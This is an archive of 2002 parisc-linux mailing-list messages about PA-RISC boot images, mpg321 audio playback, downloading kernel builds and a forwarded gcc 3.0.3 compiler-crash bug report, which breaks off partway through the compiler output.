In-Reply-To: Message from Matthias Klose <doko@cs.tu-berlin.de> 
   of "Mon, 07 Jan 2002 03:58:25 +0100." <15417.3793.688638.629130@gargle.gargle.HOWL> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13614

Matthias Klose wrote:
> Main Menu: Enter command or menu > bo pri
> Interact with IPL (Y, N, or Cancel)?> y
> 
> Booting... 
> Network Station Address 00306e-132574
> System IP Address 192.168.42.183
> Server IP Address 192.168.42.5

bootp is working.

> Boot IO Dependent Code (IODC) revision 2
> 
> IPL error: bad LIF magic.

The image bootp got was not a LIF image.

The easiest way to build a bootable LIF image is to
have both linux/ and palo/ source trees from parisc-linux CVS.
(or ftp site). Then "make palo" from linux source tree.
Resulting LIF image is in palo/lifimage.

I don't think we have any lifimages on the ftp site
with recent kernels.

grant



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation problems on an A500
Date: Mon, 7 Jan 2002 06:28:13 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <15417.12781.297448.785840@gargle.gargle.HOWL>
References: <15417.3793.688638.629130@gargle.gargle.HOWL>
	<20020107034615.9BFD64839@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620929 461 80.91.229.3 (22 Nov 2014 01:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 22:28:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id B24E14836
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 22:28:57 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id GAA15443;
	Mon, 7 Jan 2002 06:28:13 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.10.2+Sun/8.9.3) id g075SDs10769;
	Mon, 7 Jan 2002 06:28:13 +0100 (MET)
In-Reply-To: <20020107034615.9BFD64839@dsl2.external.hp.com>
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13615

Grant Grundler writes:
> > Boot IO Dependent Code (IODC) revision 2
> > 
> > IPL error: bad LIF magic.
> 
> The image bootp got was not a LIF image.
> 
> The easiest way to build a bootable LIF image is to
> have both linux/ and palo/ source trees from parisc-linux CVS.
> (or ftp site). Then "make palo" from linux source tree.
> Resulting LIF image is in palo/lifimage.
> 
> I don't think we have any lifimages on the ftp site
> with recent kernels.

extracted from ftp://ftp.parisc-linux.org/cd-images/palinux-0.9.3.iso

and

http://http.us.debian.org/debian/dists/woody/main/disks-hppa/3.0.18-2001-12-21/



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Lavender" <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 21:13:24 +1100
Lines: 19
Approved: news@gmane.org
Message-ID: <009d01c19763$f1f9c900$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620929 464 80.91.229.3 (22 Nov 2014 01:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:49 +0000 (UTC)
To: "parisc" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 03:08:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta01bw.bigpond.com (mta01bw.bigpond.com [139.134.6.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 800B8483D
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 03:08:50 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.24.69]) by
          mta01bw.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GPKCIA00.E43 for <parisc-linux@parisc-linux.org>; Mon, 7 Jan
          2002 20:15:46 +1000 
Original-Received: from CPE-203-51-24-131.nsw.bigpond.net.au ([203.51.24.131]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V3.0h 2/4007641); 07 Jan 2002 20:08:45
Original-Received: from winnie (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with SMTP id VAA17551
	for <parisc-linux@parisc-linux.org>; Mon, 7 Jan 2002 21:08:55 +1100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13616

Hi Everyone,

thought I'd give mpg321 a try on my 715/64 after installing the .9.3
release.  The playback is very slow.  CPU useage appeared to be about 33%,
so it doesn't appear to be taxing it.

The mp3's are encoded at 44khz 128bit.

Would this box have a problem in general with running this program, or is
that I just apt-get install and that's it and I now need to tweak things?

Are these sorts of questions even on topic for this list?

Pete






From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 06:10:26 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB19216284A@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620930 469 80.91.229.3 (22 Nov 2014 01:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:50 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Peter Lavender' <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 04:11:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A888483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 04:10:59 -0700 (MST)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <C3HQHZ6F>; Mon, 7 Jan 2002 06:10:28 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13617

Hi

> thought I'd give mpg321 a try on my 715/64 after installing the .9.3
> release.  The playback is very slow.  CPU useage appeared to be about 33%,
> so it doesn't appear to be taxing it.
> 
I had to use mpg321 -o esd to make it work on my 715/75. Takes more CPU-Time but
works for me.

greetings
Wolfgang





From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 12:36:59 +0100
Organization: SAP LinuxLab
Lines: 25
Approved: news@gmane.org
Message-ID: <E16NY5Z-0003CZ-00@linuxlab.wdf.sap-ag.de>
References: <009d01c19763$f1f9c900$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620930 471 80.91.229.3 (22 Nov 2014 01:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:50 +0000 (UTC)
To: "Peter Lavender" <plaven@bigpond.net.au>,
	"parisc" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 04:37:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D7D04845
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 04:37:21 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA11919;
  Mon, 7 Jan 2002 12:40:52 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <009d01c19763$f1f9c900$090ba8c0@winnie>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13618

On Monday 07 January 2002 11:13, Peter Lavender wrote:
> Hi Everyone,
>
> thought I'd give mpg321 a try on my 715/64 after installing the .9.3
> release.  The playback is very slow.  CPU useage appeared to be about 33%,
> so it doesn't appear to be taxing it.
>
> The mp3's are encoded at 44khz 128bit.
>
> Would this box have a problem in general with running this program, or is
> that I just apt-get install and that's it and I now need to tweak things?

Get yourself the latest kernel (>= 2.4.17-pa5) and update to the latest
mpg321 and it will work perfectly on your machine.
I tested it myself on my 715/64.

> Are these sorts of questions even on topic for this list?

Yes

> Pete

Helge



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 12:49:52 +0100
Organization: SAP LinuxLab
Lines: 30
Approved: news@gmane.org
Message-ID: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620930 476 80.91.229.3 (22 Nov 2014 01:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 04:50:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C992483F
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 04:50:07 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA19589
  for <parisc-linux@parisc-linux.org>; Mon, 7 Jan 2002 12:53:44 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13619

CC'ed to to the list too:

----------  Forwarded Message  ----------

Subject: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 12:49:00 +0100
From: Helge Deller <helge.deller@sap.com>
To: "Peter Lavender" <plaven@bigpond.net.au>

> > Get yourself the latest kernel (>= 2.4.17-pa5) and update to the latest
> > mpg321 and it will work perfectly on your machine.
> > I tested it myself on my 715/64.
>
> OK..
>
> Now to be a total annoying slacker newbie.. can I apt-get install the
> kernel?

No.

You need to build it yourself. You may download a daily kernel source
snapshot as tarball from ftp://ftp.parisc-linux.org:21/cvs/ (though,
 2.4.17-pa5 isn't  there yet since I committed it yesterday night and this
 directory will be only updated once a day. Wait til' later today or
 tomorrow.), or
check out the sources from CVS (http://cvs.parisc-linux.org).

Helge



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 12:40:29 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <20020107124029.GF25927@sleepie.demon.co.uk>
References: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620931 479 80.91.229.3 (22 Nov 2014 01:48:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 05:50:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A1934846
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 05:50:28 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 7FDF99E7E5; Mon,  7 Jan 2002 12:40:29 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13620

On Mon, Jan 07, 2002 at 12:49:52PM +0100, Helge Deller wrote:
> CC'ed to to the list too:
> 
> ----------  Forwarded Message  ----------
> 
> Subject: Re: [parisc-linux] mpg321 on 715/64?
> Date: Mon, 7 Jan 2002 12:49:00 +0100
> From: Helge Deller <helge.deller@sap.com>
> To: "Peter Lavender" <plaven@bigpond.net.au>
> 
> > > Get yourself the latest kernel (>= 2.4.17-pa5) and update to the latest
> > > mpg321 and it will work perfectly on your machine.
> > > I tested it myself on my 715/64.
> >
> > OK..
> >
> > Now to be a total annoying slacker newbie.. can I apt-get install the
> > kernel?
> 
> No.
> 
> You need to build it yourself. You may download a daily kernel source
> snapshot as tarball from ftp://ftp.parisc-linux.org:21/cvs/ (though,
>  2.4.17-pa5 isn't  there yet since I committed it yesterday night and this
>  directory will be only updated once a day. Wait til' later today or
>  tomorrow.), or
> check out the sources from CVS (http://cvs.parisc-linux.org).

Or look in <ftp://ftp.parisc-linux.org/kernels/32/> in a day or two.
Should find fresh kernel builds there on a daily basis, I think.

Richard




From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 07 Jan 2002 09:27:31 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20020107162731.6B530482A@dsl2.external.hp.com>
References: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620931 483 80.91.229.3 (22 Nov 2014 01:48:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 09:27:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6B530482A; Mon,  7 Jan 2002 09:27:31 -0700 (MST)
In-Reply-To: Message from Helge Deller <helge.deller@sap.com> 
   of "Mon, 07 Jan 2002 12:49:52 +0100." <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13621

Helge Deller wrote:
> > Now to be a total annoying slacker newbie.. can I apt-get install the
> > kernel?
> 
> No.
> 
> You need to build it yourself.

I've uploaded 32-2.4.17-pa05.tar.gz to ftp://ftp.parisc-linux.org/kernels/32.

Unless one needs to tune CONFIG* options (ie build more modules),
Paul Bame has been pretty good about uploading vmlinux/System.map/config
tar balls to ftp://ftp.parisc-linux.org/kernels/32. I generally drop
the kernels I build in kernels/c3000 or kernels/a500 (they are different).

grant



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWD: gcc-3.0.3: ICE in reload_cse_simplify on hppa-linux
Date: Mon, 7 Jan 2002 08:31:56 -0800
Lines: 612
Approved: news@gmane.org
Message-ID: <20020107163156.GE3247@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="W/nzBZO5zC0uMSeA"
X-Trace: ger.gmane.org 1416620931 488 80.91.229.3 (22 Nov 2014 01:48:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 09:32:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E081482A
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 09:32:04 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ckfekaaa for parisc-linux@parisc-linux.org; Mon, 7 Jan 2002 09:26:23 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Ncgm-0005xO-00; Mon, 07 Jan 2002 08:31:56 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
X-VSMLoop: pangeatech.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13622

--W/nzBZO5zC0uMSeA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

My initial cc to the list was rejected because the attachments were too
large. I'm only attaching the pic .i file here. if anyone wans the
non-pic one to look at pls mail me privately.

----- Forwarded message from Randolph Chung <tausq@debian.org> -----

Date: Sun, 6 Jan 2002 22:54:10 -0800
From: Randolph Chung <tausq@debian.org>
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Cc: parisc-linux@parisc-linux.org
Subject: gcc-3.0.3: ICE in reload_cse_simplify on hppa-linux
Reply-To: Randolph Chung <tausq@debian.org>

>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	ICE in reload_cse_simplify on hppa-linux
>Severity:	serious
>Priority:	medium
>Category:	optimization
>Class:		ice-on-legal-code
>Release:	3.0.3 (Debian testing/unstable)
>Environment:
System: Linux legolas 2.4.16-pa20 #13 Mon Dec 17 21:43:03 PST 2001 parisc64 unknown
Architecture: parisc64

	
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-included-gettext --disable-checking --enable-threads=posix --with-cpp-install-dir=bin hppa-linux
>Description:
When compiling the attached file, gcc fails with the following message:


legolas[8:37] lib% gcc -v -save-temps -DHAVE_CONFIG_H -I. -I. -I..     -O2 -fPIC
 -DPIC -c x509_ASN.c
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --p
refix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-
as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-in
cluded-gettext --disable-checking --enable-threads=posix --with-cpp-install-dir=
bin hppa-linux
Thread model: posix
gcc version 3.0.3
 /usr/lib/gcc-lib/hppa-linux/3.0.3/cpp0 -lang-c -v -I. -I. -I.. -D__GNUC__=3 -D_
_GNUC_MINOR__=0 -D__GNUC_PATCHLEVEL__=3 -D__ELF__ -Dunix -D__hppa__ -Dlinux -D__
ELF__ -D__unix__ -D__hppa__ -D__linux__ -D__unix -D__linux -Asystem=unix -Asyste
m=posix -Acpu=hppa -Amachine=hppa -Amachine=bigendian -D__OPTIMIZE__ -D__STDC_HO
STED__=1 -D__PIC__ -D__pic__ -D_PA_RISC1_1 -DHAVE_CONFIG_H -DPIC x509_ASN.c x509
_ASN.i
GNU CPP version 3.0.3 (cpplib) (hppa)
ignoring nonexistent directory "/usr/hppa-linux/include"
